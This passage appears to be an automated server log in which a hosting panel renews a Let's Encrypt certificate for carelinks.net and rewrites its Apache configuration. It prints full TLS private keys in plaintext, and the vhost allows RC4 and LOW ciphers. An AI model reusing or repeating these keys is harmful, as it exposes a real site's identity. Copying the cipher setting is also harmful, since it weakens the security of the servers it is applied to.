RVZvu3d7j9O8Rx49zxulx0d5AxPEZDgtN7bhuXhbFHWKllGnM5Mb8ZpWXe5dGPMB
97UMgx73AgMBAAECggEBAJbEVFtMaKprF4DgGw+rFfOI0gryoI5SQTKkppRQ5FkD
qFSV4t58s7a9MAWl27Im0EkVbQqVYticqOkLpkWf23qvV6a3yv8U3v7UcJgAwWPr
qEpNyyme6X2A7NvsYb5VRup+hPmHklVNQewYMJK/XyeDsyYUlgjEmIsMQZZnVA0+
4ISqeE+S4YOhAaIZXYCO+KIcYB+m+ZbVIIPc0z4GygIB9BpZ2XpehAuk/4hCHRDf
1WAE6L86lrbtetc6v5mLguLT9xjiVVkznsX/IswTvKv/YfJC4CyODkMD+8vj6XCX
NIF1n0QGGIQJoTt4fhiTxbGSSJIzoYFTpuNowC9ggmkCgYEA7+oucuVmfkMip4Hx
WFW2I4HVYSCuRjO3FtUoXyjnlukEb3ws0GVPhHhXzjQqx2/bsKKeNJu4m/fXzWYI
A4G6JisjAJWtJKLTd9Bec7jtIRMttOMejNn2FJrm1tuwTD2kKuhYvXkWgJVHlvV2
UCkfMK+IlEUdrpxMv4cA435ElYMCgYEA4yH9IWgrI/pKIl4l6y8+M6Z93aCMvg6y
93Zf/PFIWtwnpkXMx7ZFNUg50BKGFZe/MJZb62ajACxs7zHNC9hRdNb99rLlM0L1
YMG7cJBUniMXvX/wJEjlD+0+TOlG/feutlJX6IeB6eEyqd0++CZU2mZo+pJM6ydM
W2n639PlCn0CgYBZ1bqm0zdZuBHV31Zb2VxmV0trHy2io+K+7fo8B7kQTRiYFktB
jW4FEHrwf6A1JbGBpqLO2DB8VoW8J6SAi6cEe8qTgXhf64h7qM51Tp2ccO4AebsK
yuLWPFqLwZ92LO64EmCIMjs20q8H28n9oihHtrLRsj+3Dle+r/KpPLK5uQKBgQCA
hrIznjuTP0WGDxqL7A7ZsWPV7szVm4HAMHb+rhZQe/Xfy+2mMUkWbolwaZsASv9A
YkUfftPL/FekPt0Vz9HAOQw69l5mVIR/vQDxIGsRlTAQ5n2gOrOMAKbZZMPsYKS3
vP7LsSpdizZdErpYN3CaqYrMB8+I3ZMCw4TX9ZLNDQKBgASBnomwM/kP+e0PzAPR
5T5L5ITwMXKVT1rfk3+nMlLpWqm036yiuBesxRgtY5OLXLmRyW/lIRacKGf1mACD
Tx4LrRKHWyhH5byk+tH2sovZXInDqwZhEGPE5GWLwpe+ViUwXxUzLhjkS/ZsHuPe
pKL+qPdKZ08H/S/ZeIGHNp4p
-----END PRIVATE KEY-----

-----BEGIN CERTIFICATE-----
MIIFBjCCAu6gAwIBAgIRAMISMktwqbSRcdxA9+KFJjwwDQYJKoZIhvcNAQELBQAw
TzELMAkGA1UEBhMCVVMxKTAnBgNVBAoTIEludGVybmV0IFNlY3VyaXR5IFJlc2Vh
cmNoIEdyb3VwMRUwEwYDVQQDEwxJU1JHIFJvb3QgWDEwHhcNMjQwMzEzMDAwMDAw
WhcNMjcwMzEyMjM1OTU5WjAzMQswCQYDVQQGEwJVUzEWMBQGA1UEChMNTGV0J3Mg
RW5jcnlwdDEMMAoGA1UEAxMDUjEyMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIB
CgKCAQEA2pgodK2+lP474B7i5Ut1qywSf+2nAzJ+Npfs6DGPpRONC5kuHs0BUT1M
5ShuCVUxqqUiXXL0LQfCTUA83wEjuXg39RplMjTmhnGdBO+ECFu9AhqZ66YBAJpz
kG2Pogeg0JfT2kVhgTU9FPnEwF9q3AuWGrCf4yrqvSrWmMebcas7dA8827JgvlpL
Thjp2ypzXIlhZZ7+7Tymy05v5J75AEaz/xlNKmOzjmbGGIVwx1Blbzt05UiDDwhY
XS0jnV6j/ujbAKHS9OMZTfLuevYnnuXNnC2i8n+cF63vEzc50bTILEHWhsDp7CH4
WRt/uTp8n1wBnWIEwii9Cq08yhDsGwIDAQABo4H4MIH1MA4GA1UdDwEB/wQEAwIB
hjAdBgNVHSUEFjAUBggrBgEFBQcDAgYIKwYBBQUHAwEwEgYDVR0TAQH/BAgwBgEB
/wIBADAdBgNVHQ4EFgQUALUp8i2ObzHom0yteD763OkM0dIwHwYDVR0jBBgwFoAU
ebRZ5nu25eQBc4AIiMgaWPbpm24wMgYIKwYBBQUHAQEEJjAkMCIGCCsGAQUFBzAC
hhZodHRwOi8veDEuaS5sZW5jci5vcmcvMBMGA1UdIAQMMAowCAYGZ4EMAQIBMCcG
A1UdHwQgMB4wHKAaoBiGFmh0dHA6Ly94MS5jLmxlbmNyLm9yZy8wDQYJKoZIhvcN
AQELBQADggIBAI910AnPanZIZTKS3rVEyIV29BWEjAK/duuz8eL5boSoVpHhkkv3
4eoAeEiPdZLj5EZ7G2ArIK+gzhTlRQ1q4FKGpPPaFBSpqV/xbUb5UlAXQOnkHn3m
FVj+qYv87/WeY+Bm4sN3Ox8BhyaU7UAQ3LeZ7N1X01xxQe4wIAAE3JVLUCiHmZL+
qoCUtgYIFPgcg350QMUIWgxPXNGEncT921ne7nluI02V8pLUmClqXOsCwULw+PVO
ZCB7qOMxxMBoCUeL2Ll4oMpOSr5pJCpLN3tRA2s6P1KLs9TSrVhOk+7LX28NMUlI
usQ/nxLJID0RhAeFtPjyOCOscQBA53+NRjSCak7P4A5jX7ppmkcJECL+S0i3kXVU
y5Me5BbrU8973jZNv/ax6+ZK6TM8jWmimL6of6OrX7ZU6E2WqazzsFrLG3o2kySb
zlhSgJ81Cl4tv3SbYiYXnJExKQvzf83DYotox3f0fwv7xln1A2ZLplCb0O+l/AK0
YE0DS2FPxSAHi0iwMfW2nNHJrXcY3LLHD77gRgje4Eveubi2xxa+Nmk/hmhLdIET
iVDFanoCrMVIpQ59XWHkzdFmoHXHBV7oibVjGSO7ULSQ7MJ1Nz51phuDJSgAIU7A
0zrLnOrAj/dfrlEWRhCvAgbuwLZX1A2sjNjXoPOHbsPiy+lO1KF8/XY7
-----END CERTIFICATE-----






2025-10-27 06:00:44: Establishing a connection
2025-10-27 06:00:45: Establishing a connection
2025-10-27 06:00:46: 

PUT: /tmp/pkp384676

#!/bin/bash
if [ -d "/var/www/cityelectric_www/.well-known" ]; then
    echo 1
else
    echo 0
fi


2025-10-27 06:00:47: 

chmod 755 /tmp/pkp384676; /tmp/pkp384676; rm /tmp/pkp384676

2025-10-27 06:00:47: 


0


2025-10-28 06:00:03: Establishing a connection
2025-10-28 06:00:05: Establishing a connection
2025-10-28 06:00:06: 

PUT: /tmp/pkp104472

#!/bin/bash
if [ -d "/var/www/cityelectric_www/.well-known" ]; then
    echo 1
else
    echo 0
fi


2025-10-28 06:00:07: 

chmod 755 /tmp/pkp104472; /tmp/pkp104472; rm /tmp/pkp104472

2025-10-28 06:00:07: 


0


2025-10-29 06:00:03: Establishing a connection
2025-10-29 06:00:04: Establishing a connection
2025-10-29 06:00:05: 

PUT: /tmp/pkp383215

#!/bin/bash
if [ -d "/var/www/carelinks/.well-known" ]; then
    echo 1
else
    echo 0
fi


2025-10-29 06:00:06: 

chmod 755 /tmp/pkp383215; /tmp/pkp383215; rm /tmp/pkp383215

2025-10-29 06:00:07: 


1


2025-10-29 06:00:08: Establishing a connection
2025-10-29 06:00:09: 

PUT: /tmp/pkp896212

#!/bin/bash
mkdir -p "/var/www/carelinks/.well-known/acme-challenge/"
cd "/var/www/carelinks/.well-known/acme-challenge/"
cat > 2LiDjC4V32xsz0SBtXhF1kSxW4BaB3HHqoiCIVrSOr8 <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
2LiDjC4V32xsz0SBtXhF1kSxW4BaB3HHqoiCIVrSOr8.-jIM5EB2E51kVCC6JDMzXy3saEYDtouosfbBBv2qBKE
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
chmod 666 2LiDjC4V32xsz0SBtXhF1kSxW4BaB3HHqoiCIVrSOr8
cat > SQLesUC3rcSqlhORrBdSoSfvimR34AaM6WxPK3tbQDY <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
SQLesUC3rcSqlhORrBdSoSfvimR34AaM6WxPK3tbQDY.-jIM5EB2E51kVCC6JDMzXy3saEYDtouosfbBBv2qBKE
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
chmod 666 SQLesUC3rcSqlhORrBdSoSfvimR34AaM6WxPK3tbQDY


2025-10-29 06:00:10: 

chmod 755 /tmp/pkp896212; /tmp/pkp896212; rm /tmp/pkp896212

2025-10-29 06:00:11: 




2025-10-29 06:00:19: Establishing a connection
2025-10-29 06:00:20: 

PUT: /tmp/pkp489196

#!/bin/bash
mkdir -p "/var/www/carelinks/.well-known/acme-challenge/"
cd "/var/www/carelinks/.well-known/acme-challenge/"
rm 2LiDjC4V32xsz0SBtXhF1kSxW4BaB3HHqoiCIVrSOr8
rm SQLesUC3rcSqlhORrBdSoSfvimR34AaM6WxPK3tbQDY


2025-10-29 06:00:21: 

chmod 755 /tmp/pkp489196; /tmp/pkp489196; rm /tmp/pkp489196

2025-10-29 06:00:21: 




2025-10-29 06:00:21: Establishing a connection
2025-10-29 06:00:22: 

PUT: /tmp/pkp171091

#!/bin/bash
temp_file=$(mktemp)
TARGET=be70646a2e1144028f50a65574b0ded5.crt

cat > $temp_file <<'endmsg'
83:af:8e:52:82:95:41:62:6f:17:b6:cd:33:39:d2:8d

-----BEGIN CERTIFICATE-----
MIIFDDCCA/SgAwIBAgISBRPl+YtUeB+UsCRJx0/LHrJwMA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNSMTMwHhcNMjUxMDI5MDUwMTQ4WhcNMjYwMTI3MDUwMTQ3WjAYMRYwFAYDVQQD
Ew1jYXJlbGlua3MubmV0MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA
sKOJoxHnf2qpSEmSyiiNiUq8Cpo3LO8LuuCJlb6dRWrxBKDa8UbKfzBy/IMMUfpp
elMseM+HhQclwFuVr3xCYag+iK2uxa68SlCXWBlTSlrcI5rENe0EvLgcoaKPQqhO
9SFqCwS+bRmBBDXuUgIjV5gH1NNc/VPzjYTr69q1Ei3z6JXJd+CXdfq+WOQ72pO/
vbmKgR20BhlHIAPKdr5UZQ8DhS5eRP/A9qmhENspBrroJQ1hNYEGF6xhASGhKWdK
LLHETf/Ym4yEHtNAknA9GTv7FQyyQsD52+84qmlYw9ZDbB6FWX8DD986/3oG4CF5
S91JPhLTRi+GR1NA5bxVswIDAQABo4ICMzCCAi8wDgYDVR0PAQH/BAQDAgWgMB0G
A1UdJQQWMBQGCCsGAQUFBwMBBggrBgEFBQcDAjAMBgNVHRMBAf8EAjAAMB0GA1Ud
DgQWBBRx03dPg7Gpf3x1xze05psARGtt9TAfBgNVHSMEGDAWgBTnq58PLDOgU9Ne
T3jIsoQOO9aSMzAzBggrBgEFBQcBAQQnMCUwIwYIKwYBBQUHMAKGF2h0dHA6Ly9y
MTMuaS5sZW5jci5vcmcvMCsGA1UdEQQkMCKCDWNhcmVsaW5rcy5uZXSCEXd3dy5j
YXJlbGlua3MubmV0MBMGA1UdIAQMMAowCAYGZ4EMAQIBMC8GA1UdHwQoMCYwJKAi
oCCGHmh0dHA6Ly9yMTMuYy5sZW5jci5vcmcvMTEzLmNybDCCAQYGCisGAQQB1nkC
BAIEgfcEgfQA8gB3AMs49xWJfIShRF9bwd37yW7ymlnNRwppBYWwyxTDFFjnAAAB
mi6NiDIAAAQDAEgwRgIhAM0c8qsc4VuxFwTJ8UCq4uDuTOR7y0obpVRj6Afit1li
AiEAt3H0i7Y0+gin4vbNTq2esypMHLYmGCcBJbtB2h8lXWoAdwAZhtTHKKpv/roD
b3gqTQGRqs4tcjEPrs5dcEEtJUzH1AAAAZoujYgvAAAEAwBIMEYCIQD/xaZsnnoc
1mqYyItizUymUhQMHiLKBicmGOUlbdl62QIhAK51BClOwUDm2G1m0oWEW2Rs9zKH
Vg7jqsmL+exTyyO1MA0GCSqGSIb3DQEBCwUAA4IBAQBIY5GCmSx2dU7EGuKJPWfe
Svv+C2Ed8YRyacxUVnHTwaDO5/gJJYBBBdkmf6M6XETzCwTBVACOjKV5GPbM+tFP
kNy1dm9eKbYEJttr22dC2v4tXQCOYBqUTV0qLV2W0sERiFz98EQODH1ewQNLtesr
/roGnHyL2or+3ShzsAH0V17YzN58QqK54fU1aZOeX8F/TWVCahziegvIVrBK9II8
0kcZIHCavFkQxMCMM9nrhzipgZVwimJ+oWOC9y2Mjqak8HhwSTCMIIpzpSPQ3mrj
pAwOHWBJhcGI9+Ye73bVjXTt1/n3uNpTtsXfRO9rEDqotnyKVS8lUHxg+aVXIx/P
-----END CERTIFICATE-----



-----BEGIN PRIVATE KEY-----
MIIEvgIBADANBgkqhkiG9w0BAQEFAASCBKgwggSkAgEAAoIBAQCwo4mjEed/aqlI
SZLKKI2JSrwKmjcs7wu64ImVvp1FavEEoNrxRsp/MHL8gwxR+ml6Uyx4z4eFByXA
W5WvfEJhqD6Ira7FrrxKUJdYGVNKWtwjmsQ17QS8uByhoo9CqE71IWoLBL5tGYEE
Ne5SAiNXmAfU01z9U/ONhOvr2rUSLfPolcl34Jd1+r5Y5Dvak7+9uYqBHbQGGUcg
A8p2vlRlDwOFLl5E/8D2qaEQ2ykGuuglDWE1gQYXrGEBIaEpZ0osscRN/9ibjIQe
00CScD0ZO/sVDLJCwPnb7ziqaVjD1kNsHoVZfwMP3zr/egbgIXlL3Uk+EtNGL4ZH
U0DlvFWzAgMBAAECggEAcEomLzIslkV6A+gxlq4c+9A0phDPTpNQQ6aGEFmypPSM
70JKrOMxy5VDI98zL9Iex5KkTNCw+BJJH3WZPIujr21DA6RV3HluXVfKPkkrN7N3
CnNSlG1ue4IXQXGT3O4d85sgTIzheX2jFMgsDpopWX/eSp9rF+gMhkSfrbnFLh5V
IbXyISEvGTj8HhLPZsyYoGkrY67b0E7R2R7/CKQgPnDQsYHUAGYQJTXcWWZoxIml
8yl5a8d3X3bQ4Ham9zdaVJ+AQ5h7YPrli78Nys0k4/1Pmqr2WGPWDU/wnsOdmuNH
HGv6Bs2XmO8yqeD9NGvg0g4bvVqHt9hy0qFz9rqKAQKBgQDmDaJ8irSVsffzAybb
AkuR72tpTU6Nzl7NIsgF6o3yjfC8oZ7vXqCsO3usQqVig6IlpzM0meqCxRl8UHMo
oUdEkNDwlNGS9nIGx6TzwSNyVahJIgtH6mWXXkv80Jj1t+rTUk6Tf3x0n7fiapYP
GdOOJyyhLflH7mX+T5kWAz7xMwKBgQDEj6i3nb/4Nt3uIcZKlDLlsqrqbGNQJ3c3
PvbSyxENFttUZ73aaxJa5UuQZ+V2nPBP+WagPjt9o57/CwLnAHLLLE3UD4vAWGqD
ydyUG/Ccf/J/c8tyUAkz9MVZeegBO3lhVLJAN1Z9iXcFQMWYGv8ANS08M8x7u6yc
MHpVNU4JgQKBgQCz+qbMWJe/JWSeMjEL1lfY7D5UO67hMjrosfVa643x3Soh6S+2
hYmeNUskEV/iGqmYW56r4F6fwCOYJjhx6PsgoUtVbJgpKbU7qKVcLhXVNT5bOM8q
jC6+pX89YtTIKAMHILVon6x2cR4jfM+5MLNZ2zwHPThxFgmlVBCoMBHmEQKBgDMd
tN+DO4/+HLq3t8xfO9k2HHJ4G1+V08/fJOruehGwVvtdOycY3x4aMQttqWOuLmRt
1D1p0ai7qzZiE7AlErU5YUf7fvlXROPe0+kEVw8rytFQOKESpUIIrmW1aRsg71Db
aLuAaJKe8/++t2P16UiRi6DzS4MF7D518OpFwXSBAoGBALpRCt6O94RMUuoNo7Jj
MMz2hoIBMEGMaxtHBwyvT/K9/dkOVHBJKLnMjXjjKqgix0rqIdkNNtqGZwGpJYVc
4IKadcHMBO9SjRy6TItYj2+2j2nFZksYRlmAo/Oo38BBgjkbRipUAMmjsmItEuBp
XIu0yVYpQ/kcevPfMFwStgHt
-----END PRIVATE KEY-----

-----BEGIN CERTIFICATE-----
MIIFBTCCAu2gAwIBAgIQWgDyEtjUtIDzkkFX6imDBTANBgkqhkiG9w0BAQsFADBP
MQswCQYDVQQGEwJVUzEpMCcGA1UEChMgSW50ZXJuZXQgU2VjdXJpdHkgUmVzZWFy
Y2ggR3JvdXAxFTATBgNVBAMTDElTUkcgUm9vdCBYMTAeFw0yNDAzMTMwMDAwMDBa
Fw0yNzAzMTIyMzU5NTlaMDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBF
bmNyeXB0MQwwCgYDVQQDEwNSMTMwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEK
AoIBAQClZ3CN0FaBZBUXYc25BtStGZCMJlA3mBZjklTb2cyEBZPs0+wIG6BgUUNI
fSvHSJaetC3ancgnO1ehn6vw1g7UDjDKb5ux0daknTI+WE41b0VYaHEX/D7YXYKg
L7JRbLAaXbhZzjVlyIuhrxA3/+OcXcJJFzT/jCuLjfC8cSyTDB0FxLrHzarJXnzR
yQH3nAP2/Apd9Np75tt2QnDr9E0i2gB3b9bJXxf92nUupVcM9upctuBzpWjPoXTi
dYJ+EJ/B9aLrAek4sQpEzNPCifVJNYIKNLMc6YjCR06CDgo28EdPivEpBHXazeGa
XP9enZiVuppD0EqiFwUBBDDTMrOPAgMBAAGjgfgwgfUwDgYDVR0PAQH/BAQDAgGG
MB0GA1UdJQQWMBQGCCsGAQUFBwMCBggrBgEFBQcDATASBgNVHRMBAf8ECDAGAQH/
AgEAMB0GA1UdDgQWBBTnq58PLDOgU9NeT3jIsoQOO9aSMzAfBgNVHSMEGDAWgBR5
tFnme7bl5AFzgAiIyBpY9umbbjAyBggrBgEFBQcBAQQmMCQwIgYIKwYBBQUHMAKG
Fmh0dHA6Ly94MS5pLmxlbmNyLm9yZy8wEwYDVR0gBAwwCjAIBgZngQwBAgEwJwYD
VR0fBCAwHjAcoBqgGIYWaHR0cDovL3gxLmMubGVuY3Iub3JnLzANBgkqhkiG9w0B
AQsFAAOCAgEAUTdYUqEimzW7TbrOypLqCfL7VOwYf/Q79OH5cHLCZeggfQhDconl
k7Kgh8b0vi+/XuWu7CN8n/UPeg1vo3G+taXirrytthQinAHGwc/UdbOygJa9zuBc
VyqoH3CXTXDInT+8a+c3aEVMJ2St+pSn4ed+WkDp8ijsijvEyFwE47hulW0Ltzjg
9fOV5Pmrg/zxWbRuL+k0DBDHEJennCsAen7c35Pmx7jpmJ/HtgRhcnz0yjSBvyIw
6L1QIupkCv2SBODT/xDD3gfQQyKv6roV4G2EhfEyAsWpmojxjCUCGiyg97FvDtm/
NK2LSc9lybKxB73I2+P2G3CaWpvvpAiHCVu30jW8GCxKdfhsXtnIy2imskQqVZ2m
0Pmxobb28Tucr7xBK7CtwvPrb79os7u2XP3O5f9b/H66GNyRrglRXlrYjI1oGYL/
f4I1n/Sgusda6WvA6C190kxjU15Y12mHU4+BxyR9cx2hhGS9fAjMZKJss28qxvz6
Axu4CaDmRNZpK/pQrXF17yXCXkmEWgvSOEZy6Z9pcbLIVEGckV/iVeq0AOo2pkg9
p4QRIy0tK2diRENLSF2KysFwbY6B26BFeFs3v1sYVRhFW9nLkOrQVporCS0KyZmf
wVD89qSTlnctLcZnIavjKsKUu1nA1iU0yYMdYepKR7lWbnwhdx3ewok=
-----END CERTIFICATE-----
			

endmsg

chmod 640 $temp_file
if [ -d "/etc/pki/tls/certs" ]; then
	cp $temp_file /etc/pki/tls/certs/$TARGET
	echo dir=/etc/pki/tls/certs/
elif [ -d "/etc/ssl/certs" ]; then
	cp $temp_file /etc/ssl/certs/$TARGET
	echo dir=/etc/ssl/certs
else
	echo dir=
fi

rm $temp_file


2025-10-29 06:00:23: 

chmod 755 /tmp/pkp171091; /tmp/pkp171091; rm /tmp/pkp171091

2025-10-29 06:00:24: 


dir=/etc/ssl/certs


2025-10-29 06:00:24: 

PUT: /tmp/pkp807339

#!/bin/bash
# download changed files, then zip.
APACHE_ROOT=/etc/apache2
BOUNDARY=----boundary-6506b6c63ab0478b95fb419cca0e56fb----
cd $APACHE_ROOT
temp_file=$(mktemp)

show_file() {
	echo $BOUNDARY >> $temp_file
	if [ -f "$1" ]; then
		FILESIZE=$(stat -c%s "$1")
		echo $1	$FILESIZE >> $temp_file
		cat $1 >> $temp_file
	else
		echo $1	0 >> $temp_file
	fi
	echo >> $temp_file
}

show_file "/etc/apache2/sites-enabled/carelinks_www_net.conf"

gzip -cn9 $temp_file
rm $temp_file

2025-10-29 06:00:24: 

chmod 755 /tmp/pkp807339; /tmp/pkp807339; rm /tmp/pkp807339

2025-10-29 06:00:24: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-enabled/carelinks_www_net.conf 41

<VirtualHost *:80>
    ServerName	carelinks.net
    ServerAlias	www.carelinks.net
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/carelinks
    <Directory /var/www/carelinks>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/carelinks/www_access.log combined
    ErrorLog	/var/log/apache2/carelinks/www_error.log
    SetEnv pkp_uid	41
    SetEnv pkp_owner	carelinks
</VirtualHost>

<VirtualHost *:443>
    ServerName	carelinks.net
    ServerAlias	www.carelinks.net
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/be70646a2e1144028f50a65574b0ded5.crt
    DocumentRoot	/var/www/carelinks
    <Directory /var/www/carelinks>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/carelinks/www_secure_access.log combined
    ErrorLog	/var/log/apache2/carelinks/www_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
</VirtualHost>






2025-10-29 06:00:24: 

PUT: /tmp/pkp103519

#!/bin/bash
temp_file=$(mktemp)
BASE=/etc/apache2
BASENAME=carelinks_www_net.conf
TARGET=/etc/apache2/sites-enabled/carelinks_www_net.conf
DOCROOT=-
PUBLIC=

cat > $temp_file <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'

<VirtualHost *:80>
    ServerName	carelinks.net
    ServerAlias	www.carelinks.net
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/carelinks
    <Directory /var/www/carelinks>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/carelinks/www_access.log combined
    ErrorLog	/var/log/apache2/carelinks/www_error.log
    SetEnv pkp_uid	41
    SetEnv pkp_owner	carelinks
</VirtualHost>

<VirtualHost *:443>
    ServerName	carelinks.net
    ServerAlias	www.carelinks.net
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/be70646a2e1144028f50a65574b0ded5.crt
    DocumentRoot	/var/www/carelinks
    <Directory /var/www/carelinks>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/carelinks/www_secure_access.log combined
    ErrorLog	/var/log/apache2/carelinks/www_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
</VirtualHost>



----boundary-6506b6c63ab0478b95fb419cca0e56fb----

chmod 644 $temp_file

cd $BASE
cp -f $temp_file $TARGET
rm $temp_file
if [ $DOCROOT != "-" ]; then
	mkdir -p 
	mkdir -p $DOCROOT/$PUBLIC
	chown -R : $DOCROOT
	ln -s "..//etc/apache2/sites-enabled/carelinks_www_net.conf" "$BASE/sites-enabled/$BASENAME" > /dev/null 2>&1
	echo 'link(/etc/apache2/sites-enabled/carelinks_www_net.conf)= /etc/apache2//etc/apache2/sites-enabled/carelinks_www_net.conf'
	echo 'file(/etc/apache2//etc/apache2/sites-enabled/carelinks_www_net.conf= 1'
fi


2025-10-29 06:00:25: 

chmod 755 /tmp/pkp103519; /tmp/pkp103519; rm /tmp/pkp103519

2025-10-29 06:00:25: 




2025-10-29 06:00:25: 

PUT: /tmp/pkp268570

#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
	/usr/sbin/apachectl graceful
fi 
if [ -f "/usr/local/opt/httpd/bin/httpd" ]; then
	export HOMEBREW_NO_INSTALL_FROM_API=1
	brew services restart httpd

fi
echo .

2025-10-29 06:00:26: 

chmod 755 /tmp/pkp268570; /tmp/pkp268570; rm /tmp/pkp268570

2025-10-29 06:00:26: 


.


2025-10-29 06:00:26: Establishing a connection
2025-10-29 06:00:27: 

PUT: /tmp/pkp756849

#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
	/usr/sbin/apachectl -S
fi
echo .

2025-10-29 06:00:28: 

chmod 755 /tmp/pkp756849; /tmp/pkp756849; rm /tmp/pkp756849

2025-10-29 06:00:29: 


VirtualHost configuration:
*:80                   is a NameVirtualHost
         default server localhost.localdomain (/etc/apache2/sites-enabled/000-default.conf:1)
         port 80 namevhost localhost.localdomain (/etc/apache2/sites-enabled/000-default.conf:1)
         port 80 namevhost carelinks.net (/etc/apache2/sites-enabled/carelinks_www_net.conf:2)
                 alias www.carelinks.net
         port 80 namevhost carelinks.org (/etc/apache2/sites-enabled/carelinks_www_org.conf:2)
                 alias www.carelinks.org
         port 80 namevhost persianchurch.info (/etc/apache2/sites-enabled/persianchurch_www_info.conf:2)
                 alias www.persianchurch.info
         port 80 namevhost earth.hostz.org (/etc/apache2/sites-enabled/pjy_earth_us.conf:3)
*:443                  is a NameVirtualHost
         default server carelinks.net (/etc/apache2/sites-enabled/carelinks_www_net.conf:20)
         port 443 namevhost carelinks.net (/etc/apache2/sites-enabled/carelinks_www_net.conf:20)
                 alias www.carelinks.net
         port 443 namevhost carelinks.org (/etc/apache2/sites-enabled/carelinks_www_org.conf:20)
         port 443 namevhost persianchurch.info (/etc/apache2/sites-enabled/persianchurch_www_info.conf:23)
                 alias www.persianchurch.info
         port 443 namevhost earth.hostz.org (/etc/apache2/sites-enabled/pjy_earth_us.conf:24)
ServerRoot: "/etc/apache2"
Main DocumentRoot: "/var/www/html"
Main ErrorLog: "/var/log/apache2/error.log"
Mutex rewrite-map: using_defaults
Mutex ssl-stapling-refresh: using_defaults
Mutex ssl-stapling: using_defaults
Mutex proxy: using_defaults
Mutex ssl-cache: using_defaults
Mutex default: dir="/var/run/apache2/" mechanism=default 
Mutex mpm-accept: using_defaults
Mutex watchdog-callback: using_defaults
PidFile: "/var/run/apache2/apache2.pid"
Define: DUMP_VHOSTS
Define: DUMP_RUN_CFG
User: name="www-data" id=33
Group: name="www-data" id=33
.


2025-10-29 06:00:29: 

PUT: /tmp/pkp166096

#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')

def show_file(filename):
    if os.path.isfile(filename):
        f = open(filename, 'r')
        sz = os.path.getsize(filename)
        content = f.read()
        payload = BOUNDARY + "\n"
        gz.write(payload.encode('cp437'))
        payload = filename + "\t" + str(sz) + "\n"
        gz.write(payload.encode('cp437'))
        payload = content + "\n"
        gz.write(payload.encode('cp437'))
        gz.write("\n".encode('cp437'))
        f.close()

try:
    show_file('/etc/apache2/sites-enabled/carelinks_www_net.conf')

finally:
    gz.close();

sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
    data = f.read()
    sys.stdout.write(data.decode('latin-1'))
    f.close()
os.remove(jones.name)


2025-10-29 06:00:29: 

chmod 755 /tmp/pkp166096; /tmp/pkp166096; rm /tmp/pkp166096

2025-10-29 06:00:29: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-enabled/carelinks_www_net.conf	1240

<VirtualHost *:80>
    ServerName	carelinks.net
    ServerAlias	www.carelinks.net
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/carelinks
    <Directory /var/www/carelinks>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/carelinks/www_access.log combined
    ErrorLog	/var/log/apache2/carelinks/www_error.log
    SetEnv pkp_uid	41
    SetEnv pkp_owner	carelinks
</VirtualHost>

<VirtualHost *:443>
    ServerName	carelinks.net
    ServerAlias	www.carelinks.net
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/be70646a2e1144028f50a65574b0ded5.crt
    DocumentRoot	/var/www/carelinks
    <Directory /var/www/carelinks>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/carelinks/www_secure_access.log combined
    ErrorLog	/var/log/apache2/carelinks/www_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
</VirtualHost>







2025-10-29 06:00:29: 

PUT: /tmp/pkp716189

#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')

